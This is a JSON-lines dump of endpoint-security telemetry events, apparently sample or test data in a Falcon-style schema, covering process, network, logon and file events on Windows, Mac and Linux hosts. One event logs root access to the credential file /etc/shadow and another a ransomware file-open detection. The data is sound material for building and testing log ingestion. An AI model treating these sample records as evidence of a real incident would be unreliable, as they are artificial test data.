0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"}
-{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"}
-{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"}
-{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"}
-{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"}
-{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"}
-{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"}
-{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"}
-{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"}
-{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"}
-{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"}
-{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"}
-{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"}
-{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"}
-{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"}
-{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"}
